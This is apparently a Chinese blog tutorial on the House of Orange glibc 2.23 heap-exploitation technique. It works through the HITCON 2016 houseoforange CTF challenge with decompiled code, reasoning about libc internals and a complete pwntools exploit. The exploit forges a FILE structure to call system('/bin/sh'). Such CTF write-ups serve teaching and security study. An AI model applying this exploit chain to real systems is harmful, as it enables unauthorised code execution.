House系列之House of Orange

First Post:

Last Update:

Page View: loading...

House Of Orange

house of orange 这个手法的效果不大,得配合其他的手法来发挥威力

前置知识

学习这种手法之前建议学习的知识:

  • FSOP
  • unsorted bin attack
简介

House of orange是glibc2.23下常用的一种攻击手法,常用于当程序中没有free函数的情况下,利用House of orange攻击能够释放一个unsortedbin 中的chunk,然后再结合unsortedbin attack和FSOP对_IO_FILE_plus.vtable进行攻击。是最早的一种 IO 利用方式,开启了堆与 IO 组合利用的先河

适用范围

libc版本:2.23——2.26

程序存在堆溢出

程序中没有free

原理

House of Orange可以让我们在没有free函数的情况下得到一个释放的堆块(unsorted bin)。

原理简单讲就是当我们申请的堆块大小超过了top_chunk的size时,原top_chunk会被释放并挂进unsorted bin中,这样我们就可以在没有free函数的情况下获取到unsorted bins,最后再映射或者扩展一个新的top_chunk。

想要利用该手法,我们得通过这几个检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
  // glibc 的 sysmalloc函数
old_top = av->top; // 1. 获取当前分配区(arena)的 top chunk 地址
old_size = chunksize(old_top); // 2. 获取 old_top chunk 的大小(含头部)
old_end = (char *)(chunk_at_offset(old_top, old_size)); // 3. 计算 old_top chunk 的结束地址(头部 + 大小)

brk = snd_brk = (char *)(MORECORE_FAILURE); // 4. 初始化 brk 和 snd_brk 为内存扩展失败标志

/* 检查 old_top 是否满足以下条件之一:
a. 是初始 top chunk(且大小为 0)
b. 大小 ≥ MINSIZE,prev_inuse 标志已设置,且结束地址按页对齐 */
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long)(old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & (pagesize - 1)) == 0));

/* 确保 old_size 小于请求的大小(nb)加上最小块大小(MINSIZE),
防止分配时溢出 */
assert((unsigned long)(old_size) < (unsigned long)(nb + MINSIZE));

检查:

  • old_top_chunk大小 ≥ MINSIZE
  • prev_inuse 标志为1
  • address&0xfff=0x000,也就是结束的地址要与页对齐
  • old_topchunk_size 小于请求的大小(nb)加上最小块大小(MINSIZE)

注:我们申请的chunk不能超过0x20000,不然申请的chunk为mmap映射出来的,不会调用sysmalloc函数来扩展top_chunk

我们得到一个unsortedbin中的chunk后结合unsortedbin attack加上我们的FSOP这样就是一次完整的house of orange攻击

利用函数

在House of orange 中的FSOP中,我们主要是利用malloc_printerr()函数去调用__libc_message()函数接着调用其中的abort来触发 _IO_flush_all_lockp()刷新IO_list_all链表上所有文件流

malloc_printerr():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
/* Avoid using this arena in future. We do not attempt to synchronize this
with anything else because we minimally want to make sure that __libc_message
gets called, and that would require to either do it in the arena or in the
thread. We choose to do it in the arena, so that we can at least avoid
further errors in this arena. */
if (ar_ptr)
arena_for_chunk (ptr)->flags |= ARENA_FLAG_CORRUPT;

if ((action & 5) == 5)
__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ?: "<unknown>", str,
_int_free (ar_ptr, ptr, 0) ? "unknown pointer" : "???");
else if (action & 1)
__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ?: "<unknown>", str, "???");
else
__libc_message (action & 2, "*** Error in `%s': %s ***\n",
__libc_argv[0] ?: "<unknown>", str);
}

该函数利用链如下

1
2
3
4
5
6
7
8
9
10
11
malloc_printerr()

__libc_message()

abort()

_IO_flush_all_lockp()

_IO_OVERFLOW (vtable->__overflow) //IO_OVERFLOW(fp,EOF)

system("/bin/sh") [我们控制的]
大概利用步骤

0x01:

首先我们申请一个大小合适的chunk_A来通过堆溢出改写top_chunk_size为‘合适大小‘,然后我们再次申请一次chunk_B,size要大于old_top_chunk_size,这时old_top_chunk就会进入unsortedbin中,从而得到一个unsortbinchunk

什么为合适大小?

->前面说过address&0xfff=0x000,我们修改的old_top_chunk的结束地址要与页对齐,所以这就是

0x02

通过其他手法获取libc基地址和堆内存基地址(某块可读写内存基地址)后,得到_IO_list_all和system的地址,我们通过chunk_A溢出修改old_top_chunk_size为0x61,使其bk = & _IO_list_all-0x10,同时伪造我们的FILE结构

为什么是0x61?

->IO_FILE.chain和首地址之间的偏移正好是0x60,且smallbin[4],具体可以看一下FSOP

0x03:

申请一个非0x60大小的chunk,触发unsortedbin attack,此时_IO_list_all被修改为main_arena+88,由于unsortedbin中我们的old_top_chunk不满足我们申请的的大小,将会进入smallbin[4](0x60大小)中(和main_arena+88之间的偏移是0x60字节的位置),随后遍历unsortedbin时由于unsorted bin 被破坏,调用malloc_printerr进而触发 _IO_flush_all_lockp从而调用我们伪造的 _IO_OVERFLOW函数指针来getshell

修改完后链表结构

image-20260113000127044

例题:

buuctf - houseoforange_hitcon_2016

依旧checksec

1
2
3
4
5
6
7
Arch:       amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'../tools/glibc-all-in-one//libs/2.23-0ubuntu11.3_amd64'
FORTIFY: Enabled

保护全开

主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
int v3; // eax

set_init();
while ( 1 )
{
while ( 1 )
{
menu(a1, a2);
v3 = get_int();
if ( v3 != 2 )
break;
show();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
edit();
}
else
{
if ( v3 == 4 )
{
puts("give up");
exit(0);
}
LABEL_13:
a1 = "Invalid choice";
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add();
}
}
}

add:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int add()
{
unsigned int size; // [rsp+8h] [rbp-18h]
int size_4; // [rsp+Ch] [rbp-14h]
_QWORD *new_chunk; // [rsp+10h] [rbp-10h]
_DWORD *v4; // [rsp+18h] [rbp-8h]

if ( house_id > 3u ) // only four chunks we can create
{
puts("Too many house");
exit(1);
}
new_chunk = malloc(0x10u); //add开始前会创建一个0x20大小的chunk,用于存放chunk地址
printf("Length of name :");
size = get_int();
if ( size > 0x1000 )
size = 0x1000;
new_chunk[1] = malloc(size);
if ( !new_chunk[1] )
{
puts("Malloc error !!!");
exit(1);
}
printf("Name :");
read_0((void *)new_chunk[1], size);
v4 = calloc(1u, 8u);
printf("Price of Orange:");
*v4 = get_int();
color();
printf("Color of Orange:");
size_4 = get_int();
if ( size_4 != 56746 && (size_4 <= 0 || size_4 > 7) )
{
puts("No such color");
exit(1);
}
if ( size_4 == 56746 )
v4[1] = 56746;
else
v4[1] = size_4 + 30;
*new_chunk = v4;
house = new_chunk;
++house_id;
return puts("Finish");
}

show:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int show()
{
int v0; // eax
int v2; // eax

if ( !house )
return puts("No such house !");
if ( *(_DWORD *)(*house + 4LL) == 56746 )
{
printf("Name of house : %s\n", (const char *)house[1]);
printf("Price of orange : %d\n", *(_DWORD *)*house);
v0 = rand();
return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *((const char **)&unk_203080 + v0 % 8));
}
else
{
if ( *(int *)(*house + 4LL) <= 30 || *(int *)(*house + 4LL) > 37 )
{
puts("Color corruption!");
exit(1);
}
printf("Name of house : %s\n", (const char *)house[1]);
printf("Price of orange : %d\n", *(_DWORD *)*house);
v2 = rand();
return printf("\x1B[%dm%s\x1B[0m\n", *(_DWORD *)(*house + 4LL), *((const char **)&unk_203080 + v2 % 8));
}
}

edit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int edit()
{
_DWORD *v1; // rbx
unsigned int v2; // [rsp+8h] [rbp-18h]
int v3; // [rsp+Ch] [rbp-14h]

if ( upgrade_num > 2u )
return puts("You can't upgrade more");
if ( !house )
return puts("No such house !");
printf("Length of name :");
v2 = get_int();
if ( v2 > 0x1000 )
v2 = 4096;
printf("Name:");
read_0((void *)house[1], v2); // Overflow exists
printf("Price of Orange: ");
v1 = (_DWORD *)*house;
*v1 = get_int();
color();
printf("Color of Orange: ");
v3 = get_int();
if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )
{
puts("No such color");
exit(1);
}
if ( v3 == 56746 )
*(_DWORD *)(*house + 4LL) = 56746;
else
*(_DWORD *)(*house + 4LL) = v3 + 30;
++upgrade_num;
return puts("Finish");
}

程序分析:

程序中无free,glibc版本为2.23使用house of orange

edit中存在堆溢出,可以溢出修改top_chunk_size,只能对特定chunk进行修改

add中只用管name和size,且只能使用4次,每次会申请3个chunk

思路:

1.程序中无free,我们先将top_chunk挂进unsortedbin中,

2.然后通过laregebin来leak出libc和堆基地址,

3.然后通过堆溢出再次修改old_top_chunk_size为0x61,覆盖其bk为_IO_list_all-0x10同时伪造好FILE结构,满足write_base =0< write_ptr =1,mode <= 0 ,vtable[3] = system,old_top_chunk的prev_size改为/bin/sh\x00

4.最后再次申请一个非0x60大小的chunk来触发我们伪造的 _IO_OVERFLOW(fp)来getshell

释放top_chunk

首先申请一个0x400大小的chunk,然后溢出修改topchunk_size为0xbb1

1
2
add(0x400,b'jian',0xddaa,1)#chunk1
edit(0x430,b'a'*0x400+p64(0)+p64(0x21)+p64(0)*3+p64(0xbb1),0xddaa,2)

此时top_chunk位置为0x555555c01450

image-20260112212905296

image-20260112213053818

为什么size为0xbb1?

top_chunk位置为0x555555c01450距离0x555555c02000为0xbb0,0x555555c02000&0xfff = 0

为了满足topchunk结束的地址要与页对齐,所以这就是为什么size为0xbb1

接着我们申请一个0x1000大小的chunk直接将top_chunk挂进unsortedbin中

1
add(0x1000,b'1angx',0xddaa,3)#old top chunk into the unsortedbins

image-20260112214554175

这样我们就得到了一个unsortedbin_chunk

泄露libc和heap地址

泄露libc好说,但是要泄露出堆地址我们就可以使用largebin来泄露不过中间得填充一些垃圾数据来预防0截断

泄露原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
size = chunksize(victim);

if (size == nb) { // 精确匹配
// 直接分配
} else if (size >= nb + MINSIZE) { // 可分割
// 分割并分配
} else {
unlink(av, victim, bck, fwd);

if (in_smallbin_range(size)) {
// 放入 small bin
} else {
// 放入 large bin
victim_index = largebin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;

if (fwd != bck) { // large bin 非空
// 需要排序插入
} else { // large bin 为空
victim->fd_nextsize = victim->bk_nextsize = victim; //关键
}

// 链接到 large bin
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
}
}
}

如果申请的大小在largebin的范围内,那么在解链unsorted bin的时候,会先把unsorted bin chunk放在large bin中所以在fd_nextsizebk_nextsize上留下堆地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* 如果 large bin 非空,需要按大小排序插入 */
if (size < chunksize_nomask (fwd))
{
/* 插入到最前面(因为 fwd 是最大的 chunk) */
fwd = fwd->fd_nextsize;
bck = fwd->bk_nextsize;

victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
else
{
/* 遍历查找插入位置 */
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
}
bck = fwd->bk_nextsize;

victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
}
else
{
// 如果 large bin 为空
victim->fd_nextsize = victim->bk_nextsize = victim;
}

victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
}

其中这一行:victim->fd_nextsize = victim->bk_nextsize = victim;

当 large bin 为空时会将 chunk 的 fd_nextsizebk_nextsize都指向自己

效果:

image-20260112234001121

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#==========leak the libc=============
add(0x400,b'\x10',0xddaa,3) # 0x400 largebins size
sleep(0.5)
#bug()
show()
malloc_hook = uu64()-0x600 #泄露出来的libc地址距离malloc_hook 0x600
ph(malloc_hook,"malloc_hook")
base = malloc_hook - libc.sym['__malloc_hook']
ph(base,"base:")
IO_list_all = base + libc.sym['_IO_list_all']
system = base + libc.sym['system']
ph(IO_list_all)
#==========leak the heap_base==========

edit(0x10,b'a'*0x10,0xddaa,2)#
#bug()
show()
pc(b'a'*0x10)
heap_base = u64(p.recv(6).ljust(8,b'\x00'))-0x4b0
ph(heap_base,"heap_base")
伪造FILE结构,开始FSOP

我们将old_top_chunk的prev_size修改为/bin/sh其大小为0x61,bk设置为_IO_list_all-0X10,mode设置为0,io_overflow设置为system的地址

1
2
3
4
5
p1 = b'\x00'*0x18+p64(system)+b'\x00'*0x400+b'/bin/sh\x00'+p64(0x61)+p64(0)+p64(IO_list_all-0X10)+p64(0)+p64(1)
p1+= b'\x00'*0xa8
p1+=p64(heap_base+0x4d8-0x18)#io_overflow why need -0x18 beacuse call[rax-0x18]
#bug()
edit(0x600,p1,0xddaa,1)

修改完的链表如图:

image-20260113000253930

最后申请非0x60大小的chunk即可触发fsop

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
from LibcSearcher import*
context.log_level = 'debug'

psl = lambda data : p.sendline(data)
ps = lambda data : p.send(data)
psla = lambda content,data : p.sendlineafter(content,data)
psa = lambda content,data : p.sendafter(content,data)
pc = lambda data : p.recvuntil(data)
ph = lambda data,name=None : print(f"||{name}"+hex(data))
uu64 = lambda : u64(pc(b'\x7f')[-6::].ljust(8,b'\x00'))

binary_name = './houseoforange_hitcon_2016'

HOST = "node5.buuoj.cn"
PORT = 25795
choice = input("Please input yes->Process,no->Remote")
if "y" in choice:
p = process(binary_name)
elif "n" in choice:
p = remote(HOST,PORT)
libc_name = '../zctf2016_note2/libc-2.23.so'
libc = ELF(libc_name)
e = ELF(binary_name)
def bug():
gdb.attach(p)
pause()
# ========== Some Functions define ==========
def cmd(choice):
psla("Your choice : ",str(choice))

def add(size,name,price,color):
cmd(1)
psla("Length of name :",str(size))
psa("Name :",name)
psla("Price of Orange:",str(price))
psla("Color of Orange:",str(color))

def show():
cmd(2)

def edit(size,name,price,color=None):
cmd(3)
psla("Length of name :",str(size))
psla("Name:",name)
psla("Price of Orange:",str(price))
sleep(0.5)
psla("Color of Orange:",str(color))

# ========== Exploit 开始 ==========
def exp():

#========start house of Orange =========
add(0x400,b'jian',0xddaa,1)#chunk1
edit(0x430,b'a'*0x400+p64(0)+p64(0x21)+p64(0)*3+p64(0xbb1),0xddaa,2)#to change the top chunk's size = 0xbb1 ,why is bb1 beacuse to prepare the addr&0xfff = 0
add(0x1000,b'1angx',0xddaa,3)#old top chunk into the unsortedbins
#==========leak the libc=============
add(0x400,b'\x10',0xddaa,3) # largebins size
sleep(0.5)
#bug()
show()
malloc_hook = uu64()-0x600
ph(malloc_hook,"malloc_hook")
base = malloc_hook - libc.sym['__malloc_hook']
ph(base,"base:")
IO_list_all = base + libc.sym['_IO_list_all']
system = base + libc.sym['system']
ph(IO_list_all)
#==========leak the heap_base==========

edit(0x10,b'a'*0x10,0xddaa,2)
#bug()
show()
pc(b'a'*0x10)
heap_base = u64(p.recv(6).ljust(8,b'\x00'))-0x4b0
ph(heap_base,"heap_base")
#===========FSOP===========
p1 = b'\x00'*0x18+p64(system)+b'\x00'*0x400+b'/bin/sh\x00'+p64(0x61)+p64(0)+p64(IO_list_all-0X10)+p64(0)+p64(1)
p1+= b'\x00'*0xa8
p1+=p64(heap_base+0x4d8-0x18)#io_overflow why need -0x18 beacuse call[rax-0x18]
#bug()
edit(0x600,p1,0xddaa,1)
#bug()#0x7ffff7836fb8
cmd(1)
exp()
p.interactive()